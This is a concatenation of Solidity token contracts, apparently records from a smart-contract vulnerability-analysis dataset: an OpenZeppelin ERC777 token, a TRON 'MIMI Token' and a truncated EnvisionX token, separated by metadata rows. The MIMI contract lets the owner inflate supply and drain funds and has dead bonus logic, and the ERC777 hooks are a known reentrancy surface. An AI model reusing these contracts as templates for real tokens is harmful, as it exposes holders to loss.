event RevokedOperator(address indexed operator, address indexed tokenHolder);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function granularity() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function send(address recipient,
uint256 amount,
bytes calldata data) external;
function burn(uint256 amount, bytes calldata data) external;
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
function authorizeOperator(address operator) external;
function revokeOperator(address operator) external;
function defaultOperators() external view returns (address[] memory);
function operatorSend(address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData) external;
function operatorBurn(address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData) external;
event Sent(address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Recipient.sol)
interface IERC777Recipient {
function tokensReceived(address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Sender.sol)
interface IERC777Sender {
function tokensToSend(address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData) external;
}
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts (last updated v4.6.0) (utils/introspection/IERC1820Registry.sol)
interface IERC1820Registry {
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
function setManager(address account, address newManager) external;
function getManager(address account) external view returns (address);
function setInterfaceImplementer(address account,
bytes32 _interfaceHash,
address implementer) external;
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
function updateERC165Cache(address account, bytes4 interfaceId) external;
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
}
contract ERC777 is Context, IERC777, IERC20 {
using Address for address;
IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping(address => mapping(address => uint256)) private _allowances;
constructor(string memory name_,
string memory symbol_,
address[] memory defaultOperators_) {
_name = name_;
_symbol = symbol_;
_defaultOperatorsArray = defaultOperators_;
for (uint256 i = 0; i < defaultOperators_.length; i++) {
_defaultOperators[defaultOperators_[i]] = true;
}
// register interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public pure virtual returns (uint8) {
return 18;
}
function granularity() public view virtual override returns (uint256) {
return 1;
}
function totalSupply() public view virtual override(IERC20, IERC777) returns (uint256) {
return _totalSupply;
}
function balanceOf(address tokenHolder) public view virtual override(IERC20, IERC777) returns (uint256) {
return _balances[tokenHolder];
}
function send(address recipient,
uint256 amount,
bytes memory data) public virtual override {
_send(_msgSender(), recipient, amount, data, "", true);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_send(_msgSender(), recipient, amount, "", "", false);
return true;
}
function burn(uint256 amount, bytes memory data) public virtual override {
_burn(_msgSender(), amount, data, "");
}
function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {
return
operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
function authorizeOperator(address operator) public virtual override {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
function revokeOperator(address operator) public virtual override {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
function defaultOperators() public view virtual override returns (address[] memory) {
return _defaultOperatorsArray;
}
function operatorSend(address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData) public virtual override {
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(sender, recipient, amount, data, operatorData, true);
}
function operatorBurn(address account,
uint256 amount,
bytes memory data,
bytes memory operatorData) public virtual override {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(account, amount, data, operatorData);
}
function allowance(address holder, address spender) public view virtual override returns (uint256) {
return _allowances[holder][spender];
}
function approve(address spender, uint256 value) public virtual override returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
function transferFrom(address holder,
address recipient,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(holder, spender, amount);
_send(holder, recipient, amount, "", "", false);
return true;
}
function _mint(address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData) internal virtual {
_mint(account, amount, userData, operatorData, true);
}
function _mint(address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck) internal virtual {
require(account != address(0), "ERC777: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, amount);
// Update state variables
_totalSupply += amount;
_balances[account] += amount;
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, requireReceptionAck);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
function _send(address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck) internal virtual {
require(from != address(0), "ERC777: transfer from the zero address");
require(to != address(0), "ERC777: transfer to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
function _burn(address from,
uint256 amount,
bytes memory data,
bytes memory operatorData) internal virtual {
require(from != address(0), "ERC777: burn from the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
_beforeTokenTransfer(operator, from, address(0), amount);
// Update state variables
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC777: burn amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_totalSupply -= amount;
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData) private {
_beforeTokenTransfer(operator, from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC777: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder,
address spender,
uint256 value) internal virtual {
require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
function _callTokensToSend(address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
function _callTokensReceived(address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC777: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address operator,
address from,
address to,
uint256 amount) internal virtual {}
}
| 63,547 | 13,295 |
e168e3daf36ce82c6277d2b8bfe86c1ba31b6b38be65de33cf66bbe5669969e3
| 11,125 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TM/TMYEWXcX7yqx65w27fituypBFhvpKGiN56_MIMIToken.sol
| 2,696 | 10,171 |
//SourceUnit: MIMI.sol
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MIMIToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "MIMI Token";
string public constant symbol = "MIMI";
uint public constant decimals = 18;
uint public deadline = now + 0 * 1 seconds; //Now
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 10 * 1 days;
uint256 public totalSupply = 1400000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1000 ; //
uint256 public tokensPerEth =1e18; // Last updated price by admin
uint public target0drop = 0e18; //No
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 companyFund = 1400000e18; // 0
owner = msg.sender;
distr(owner, companyFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 10000 / 2; // Send 100000 trx or more and get 2% more MIMI of round 1
uint256 bonusCond2 = 10000 / 1; // Send 100000 trx or more and get 1% more MIMI of round 2
uint256 bonusCond3 = 10000 ;
tokens = tokensPerEth.mul(msg.value) / 1000 ;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 0 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 2 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0.0001e18;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 294,999 | 13,296 |
2983e8fb35223e0a7338ad8eb73f3401485fa98ed99a343cc414a0c9b707ebd1
| 18,540 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5a9e485a792b164007c6c76d15f8fa36c19ca631.sol
| 4,156 | 16,933 |
pragma solidity ^0.4.20;
contract GenesisProtected {
modifier addrNotNull(address _address) {
require(_address != address(0));
_;
}
}
// ----------------------------------------------------------------------------
// The original code is taken from:
// https://github.com/OpenZeppelin/zeppelin-solidity:
// master branch from zeppelin-solidity/contracts/ownership/Ownable.sol
// Changed function name: transferOwnership -> setOwner.
// Added inheritance from GenesisProtected (address != 0x0).
// setOwner refactored for emitting after owner replacing.
// ----------------------------------------------------------------------------
contract Ownable is GenesisProtected {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address a) external onlyOwner addrNotNull(a) {
owner = a;
emit OwnershipReplaced(msg.sender, a);
}
event OwnershipReplaced(address indexed previousOwner,
address indexed newOwner);
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// The original code is taken from:
// https://theethereum.wiki/w/index.php/ERC20_Token_Standard
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner)
public constant returns (uint balance);
function allowance(address tokenOwner, address spender)
public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens)
public returns (bool success);
function transferFrom(address from, address to, uint tokens)
public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner,
address indexed spender,
uint tokens);
}
contract Enums {
// Type for mapping uint (index) => name for baskets types described in WP
enum BasketType {
unknown, // 0 unknown
team, // 1 Team
foundation, // 2 Foundation
arr, // 3 Advertisement, Referral program, Reward
advisors, // 4 Advisors
bounty, // 5 Bounty
referral, // 6 Referral
referrer // 7 Referrer
}
}
contract WPTokensBaskets is Ownable, Enums {
// This mapping holds all accounts ever used as baskets forever
mapping (address => BasketType) internal types;
// Baskets for tokens
address public team;
address public foundation;
address public arr;
address public advisors;
address public bounty;
// Public constructor
function WPTokensBaskets(address _team,
address _foundation,
address _arr,
address _advisors,
address _bounty)
public
{
setTeam(_team);
setFoundation(_foundation);
setARR(_arr);
setAdvisors(_advisors);
setBounty(_bounty);
}
// Fallback function - do not apply any ether to this contract.
function () external payable {
revert();
}
// Last resort to return ether.
// See the last warning at
// http://solidity.readthedocs.io/en/develop/contracts.html#fallback-function
// for such cases.
function transferEtherTo(address a) external onlyOwner addrNotNull(a) {
a.transfer(address(this).balance);
}
function typeOf(address a) public view returns (BasketType) {
return types[a];
}
// Return truth if given address is not registered as token basket.
function isUnknown(address a) public view returns (bool) {
return types[a] == BasketType.unknown;
}
function isTeam(address a) public view returns (bool) {
return types[a] == BasketType.team;
}
function isFoundation(address a) public view returns (bool) {
return types[a] == BasketType.foundation;
}
function setTeam(address a) public onlyOwner addrNotNull(a) {
require(isUnknown(a));
types[team = a] = BasketType.team;
}
function setFoundation(address a) public onlyOwner addrNotNull(a) {
require(isUnknown(a));
types[foundation = a] = BasketType.foundation;
}
function setARR(address a) public onlyOwner addrNotNull(a) {
require(isUnknown(a));
types[arr = a] = BasketType.arr;
}
function setAdvisors(address a) public onlyOwner addrNotNull(a) {
require(isUnknown(a));
types[advisors = a] = BasketType.advisors;
}
function setBounty(address a) public onlyOwner addrNotNull(a) {
require(types[a] == BasketType.unknown);
types[bounty = a] = BasketType.bounty;
}
}
// ----------------------------------------------------------------------------
// The original code is taken from:
// https://github.com/OpenZeppelin/zeppelin-solidity:
// master branch from zeppelin-solidity/contracts/math/SafeMath.sol
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0)
return 0;
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token is Ownable, ERC20Interface, Enums {
using SafeMath for uint;
// Token full name
string private constant NAME = "EnvisionX EXCHAIN Token";
// Token symbol name
string private constant SYMBOL = "EXT";
// Token max fraction, in decimal signs after the point
uint8 private constant DECIMALS = 18;
// Tokens max supply, in EXTwei
uint public constant MAX_SUPPLY = 3000000000 * (10**uint(DECIMALS));
// Tokens balances map
mapping(address => uint) internal balances;
// Maps with allowed amounts fot TransferFrom
mapping (address => mapping (address => uint)) internal allowed;
// Total amount of issued tokens, in EXTwei
uint internal _totalSupply;
// Map with Ether founds amount by address (using when refunds)
mapping(address => uint) internal etherFunds;
uint internal _earnedFunds;
// Map with refunded addreses (Black List)
mapping(address => bool) internal refunded;
// Address of sale agent (a contract) which can mint new tokens
address public mintAgent;
// Token transfer allowed only when token minting is finished
bool public isMintingFinished = false;
// When minting was finished
uint public mintingStopDate;
// Total amount of tokens minted to team basket, in EXTwei.
// This will not include tokens, transferred to team basket
// after minting is finished.
uint public teamTotal;
// Amount of tokens spent by team in first 96 weeks since
// minting finish date. Used to calculate team spend
// restrictions according to ICO White Paper.
uint public spentByTeam;
// Address of WPTokensBaskets contract
WPTokensBaskets public wpTokensBaskets;
// Constructor
function Token(WPTokensBaskets baskets) public {
wpTokensBaskets = baskets;
mintAgent = owner;
}
// Fallback function - do not apply any ether to this contract.
function () external payable {
revert();
}
// Last resort to return ether.
// See the last warning at
// http://solidity.readthedocs.io/en/develop/contracts.html#fallback-function
// for such cases.
function transferEtherTo(address a) external onlyOwner addrNotNull(a) {
a.transfer(address(this).balance);
}
// Return token full name
function name() public pure returns (string) {
return NAME;
}
// Return token symbol name
function symbol() public pure returns (string) {
return SYMBOL;
}
// Return amount of decimals after point
function decimals() public pure returns (uint8) {
return DECIMALS;
}
// Return total amount of issued tokens, in EXTwei
function totalSupply() public constant returns (uint) {
return _totalSupply;
}
// Return account balance in tokens (in EXTwei)
function balanceOf(address _address) public constant returns (uint) {
return balances[_address];
}
// Transfer tokens to another account
function transfer(address to, uint value)
public
addrNotNull(to)
returns (bool)
{
if (balances[msg.sender] < value)
return false;
if (isFrozen(wpTokensBaskets.typeOf(msg.sender), value))
return false;
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
saveTeamSpent(msg.sender, value);
emit Transfer(msg.sender, to, value);
return true;
}
// Transfer tokens from one account to another,
// using permissions defined with approve() method.
function transferFrom(address from, address to, uint value)
public
addrNotNull(to)
returns (bool)
{
if (balances[from] < value)
return false;
if (allowance(from, msg.sender) < value)
return false;
if (isFrozen(wpTokensBaskets.typeOf(from), value))
return false;
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
saveTeamSpent(from, value);
emit Transfer(from, to, value);
return true;
}
// Allow to transfer given amount of tokens (in EXTwei)
// to account which is not owner.
function approve(address spender, uint value) public returns (bool) {
if (msg.sender == spender)
return false;
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
// Return amount of tokens (in EXTwei) which allowed to
// be transferred by non-owner spender
function allowance(address _owner, address spender)
public
constant
returns (uint)
{
return allowed[_owner][spender];
}
// Return account funds in ether (in wei)
function etherFundsOf(address _address) public constant returns (uint) {
return etherFunds[_address];
}
// Return total amount of funded ether, in wei
function earnedFunds() public constant returns (uint) {
return _earnedFunds;
}
// Return true if given address have been refunded
function isRefunded(address _address) public view returns (bool) {
return refunded[_address];
}
// Set new address of sale agent contract.
// Will be called for each sale stage: PrivateSale, PreSale, MainSale.
function setMintAgent(address a) public onlyOwner addrNotNull(a) {
emit MintAgentReplaced(mintAgent, a);
mintAgent = a;
}
// Interface for sale agent contract - mint new tokens
function mint(address to, uint256 extAmount, uint256 etherAmount) public {
require(!isMintingFinished);
require(msg.sender == mintAgent);
require(!refunded[to]);
_totalSupply = _totalSupply.add(extAmount);
require(_totalSupply <= MAX_SUPPLY);
balances[to] = balances[to].add(extAmount);
if (wpTokensBaskets.isUnknown(to)) {
_earnedFunds = _earnedFunds.add(etherAmount);
etherFunds[to] = etherFunds[to].add(etherAmount);
} else if (wpTokensBaskets.isTeam(to)) {
teamTotal = teamTotal.add(extAmount);
}
emit Mint(to, extAmount);
emit Transfer(msg.sender, to, extAmount);
}
// Destroy minted tokens and refund ether spent by investor.
// Used in AML (Anti Money Laundering) workflow.
// Will be called only by humans because there is no way
// to withdraw crowdfunded ether from Beneficiary account
// from context of this account.
// Important note: all tokens minted to team, foundation etc.
// will NOT be burned, because they in general are spent
// during the sale and its too expensive to track all these
// transactions.
function burnTokensAndRefund(address _address)
external
payable
addrNotNull(_address)
onlyOwner()
{
require(msg.value > 0 && msg.value == etherFunds[_address]);
_totalSupply = _totalSupply.sub(balances[_address]);
balances[_address] = 0;
_earnedFunds = _earnedFunds.sub(msg.value);
etherFunds[_address] = 0;
refunded[_address] = true;
_address.transfer(msg.value);
}
// Stop tokens minting forever.
function finishMinting() external onlyOwner {
require(!isMintingFinished);
isMintingFinished = true;
mintingStopDate = now;
emit MintingFinished();
}
// Return truth if given _value amount of tokens (in EXTwei)
// cannot be transferred from account due to spend restrictions
// defined in ICO White Paper.
// !!!Caveat of current implementaion!!!
// Say,
// 1. There was 100 tokens minted to the team basket;
// 2. Minting was finished and 24 weeks elapsed, and now
// team can spend up to 25 tokens till next 24 weeks;
// 3. Someone transfers another 100 tokens to the team basket;
// 4. ...
// Problem is, actually, you can't spend any of these extra 100
// tokens until 96 weeks will elapse since minting finish date.
// That's because after next 24 weeks will be unlocked only
// 25 tokens more (25% of *minted* tokens) and so on.
